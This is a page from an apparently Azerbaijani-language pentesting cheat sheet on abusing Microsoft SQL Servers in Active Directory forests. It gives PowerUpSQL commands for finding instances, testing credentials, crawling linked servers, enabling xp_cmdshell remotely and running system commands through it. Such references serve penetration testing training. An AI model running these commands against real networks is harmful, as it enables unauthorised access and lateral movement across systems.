Pentest və SOC Cheat Sheet
  • Reconnaissance
  • Post-Explotation
    • Linux Post-Explotation
      • Linux Local Enumeration
      • Linux Privilege Escalation
      • Dumping and cracking hashes on Linux
      • Linux Persistence
    • Windows Post-Explotation
      • Windows Local Enumeration
      • Windows Privilege Escalation
      • Windows Persistence
  • Network Services Pentesting
    • 21-Pentesting FTP
    • 22-Pentesting SSH
    • 23-Pentesting Telnet
    • 53-Pentesting DNS
    • 25,465,587-Pentesting SMTP
    • 110,995-Pentesting POP
    • 139,445-Pentesting SMB
    • 3306-Pentesting MySQL
    • 3389-Pentesting RDP
    • 1433-Pentesting MSSQL-Microsoft SQL Server
    • 389,636,3268,3269-Pentesting LDAP
  • Web Pentesting
    • Broken Access Control
      • Praktiki nümunə
    • OS Command Injection
      • Praktiki nümunə
    • SQL Injection
      • Praktiki nümunə
    • Cross-Site-Scripting (XSS)
      • Praktiki nümunə
    • File Upload
      • Praktiki nümunə
    • Directory Traversal və Path Traversal
      • Praktiki nümunə
    • CSRF
    • XXE
    • Clickjacking
      • Praktiki nümunə
    • SSRF
      • Praktiki nümunə
    • JWT (Json Web Token)
      • Praktiki nümunə
    • Local&Remote File İnclusion
      • Praktiki nümunə
      • Local File inclusion ilə reverse shell almaq
    • 401&403 Bypass
    • Login Bypass
    • Open Redirect
    • Unicode Injection
    • Security Misconfiguration
    • CRLF injection
    • LDAP Injection
    • Cookies Hacking
    • Cross site WebSocket hijacking (CSWSH)
    • SSTI (Server Side Template Injection)
    • CSTI (Client Side Template Injection)
    • XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Hücumları
    • Reverse Tab Nabbing
    • Web Tool - WFuzz
    • XPATH enjeksiyonu
    • Server-Side Includes (SSI) Injection
    • Edge Side Inclusion Injection (ESII)
    • Race Condition
    • PostMessage
    • Parameter Pollution
    • Cache Poisoning and Cache Deception
    • Captcha Bypass
  • AD Pentesting
    • Domain Enumeration
      • PowerView ilə enumeration
      • AD Module ilə enumeration
      • BloodHound ilə enumeration
        • On Site BloodHound
      • Using Adalanche
        • Remote adalanche
      • Useful Enumeration Tools
    • Local Privilege Escalation
      • Useful Local Priv Esc Tools
      • UAC Bypass
    • Lateral Movement
      • Powershell Remoting
      • Mimikatz
      • Remote Desktop Protocol
      • URL File Attacks
      • Useful Tools
    • Domain Privilege Escalation
      • Kerberoast
      • ASREPRoast
      • Password Spray Attack
      • Force Set SPN
      • Abusing Shadow Copies
      • List and Decrypt Stored Credentials using Mimikatz
      • Unconstrained Delegation
      • Constrained Delegation
      • Resource Based Constrained Delegation
      • DNSAdmins Abuse
      • Abusing Active Directory-Integraded DNS (ADIDNS) poisoning
      • Abusing Backup Operators Group
      • SID History Abuse
      • Active Directory Certificate Services
    • Domain Persistence
      • Golden Ticket Attack
      • Silver Ticket Attack
      • Skeleton Key Attack
      • DSRM Abuse
      • DCsync Attack
    • Cross Forest Attacks
      • Trust Tickets
      • Abuse MSSQL Servers
      • Breaking Forest Trusts
  • SOC - Cheat Sheet
    • SOC Nədir?
    • SOC Komponentləri Nələrdir?
    • SOC Checklist
    • SIEM
      • Splunk Qurulması və Konfiqurasiyası
    • IDS/IPS
    • Firewall
    • Firewall qurulması və konfiqurasiyası
    • EDR/XDR
    • SOAR
    • Windows Commands for SOC analysts
      • GUI Programs in Windows
      • Event Viewer
      • Task Scheduler
      • Group Policy Editor
      • Device Manager
      • Task Manager
      • Registry Manager
    • Linux Commands for SOC analysts
    • LOLBAS Apps and Commands
      • Apps and Commands
Powered by GitBook
On this page

Was this helpful?

  1. AD Pentesting
  2. Cross Forest Attacks

Abuse MSSQL Servers

PreviousTrust TicketsNextBreaking Forest Trusts

Last updated 1 year ago

Was this helpful?

MSSQL Enumeration

MSSQL enum üçün daha çox daha faydalıdı.

Import-Module .\PowerupSQL.psd1

Domen olmadan şəbəkədən enum:

#Yerli MSSQL nümunəsini əldə edin (əgər varsa)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#AD hesabınız yoxdursa, UDP vasitəsilə MSSQL skanını tapmağa cəhd edə bilərsiniz
#Əvvəlcə, skan etmək üçün hostların siyahısına ehtiyacınız olacaq
Get-Content c:\temp\computers.txt | Get-SQLInstanceScanUDP –Verbose –Threads 10

#If you have some valid credentials and you have discovered valid MSSQL hosts you can try to login into them
#The discovered MSSQL servers must be on the file: C:\temp\instances.txt
Get-SQLInstanceFile -FilePath C:\temp\instances.txt | Get-SQLConnectionTest -Verbose -Username test -Password test

Domein daxilində enum:

# Get local MSSQL instance (if any)
Get-SQLInstanceLocal
Get-SQLInstanceLocal | Get-SQLServerInfo

#Get info about valid MSQL instances running in domain
#This looks for SPNs that starts with MSSQL (not always is a MSSQL running instance)
Get-SQLInstanceDomain | Get-SQLServerinfo -Verbose 

#Test connections with each one
Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -verbose

#Try to connect and obtain info from each MSSQL server (also useful to check conectivity)
Get-SQLInstanceDomain | Get-SQLServerInfo -Verbose

# Get DBs, test connections and get info in oneliner
Get-SQLInstanceDomain | Get-SQLConnectionTest | ? { $_.Status -eq "Accessible" } | Get-SQLServerInfo

Verilənlər bazası bağlantısı SQL Serverə digər SQL Server kimi digər resurslara daxil olmaq imkanı verir. Əgər bizim iki əlaqəli SQL Serverimiz varsa, biz onlarda saxlanılan prosedurları yerinə yetirə bilərik. Verilənlər bazası bağlantıları Forest Trust-da da işləyir!

Mövcud verilənlər bazası bağlantılarını yoxlayın:

#Mövcud verilənlər bazası bağlantılarını yoxlayın:
#PowerUpSQL:
Get-SQLServerLink -Instance <SPN> -Verbose

#MSSQL Query:
select * from master..sysservers

Sonra əlaqəli verilənlər bazasından digər bağlantıları sadalamaq üçün sorğulardan istifadə edə bilərik:

#Manualy:
select * from openquery("LinkedDatabase", 'select * from master..sysservers')

#PowerUpSQL (Will Enum every link across Forests and Child Domain of the Forests):
Get-SQLServerLinkCrawl -Instance <SPN> -Verbose

#Then we can execute command on the machine's were the SQL Service runs using xp_cmdshell
#Or if it is disabled enable it:
EXECUTE('sp_configure "xp_cmdshell",1;reconfigure;') AT "SPN"o

Sorğunun icrası:

Get-SQLServerLinkCrawl -Instace <SPN> -Query "exec master..xp_cmdshell 'whoami'"
PowerUpSQL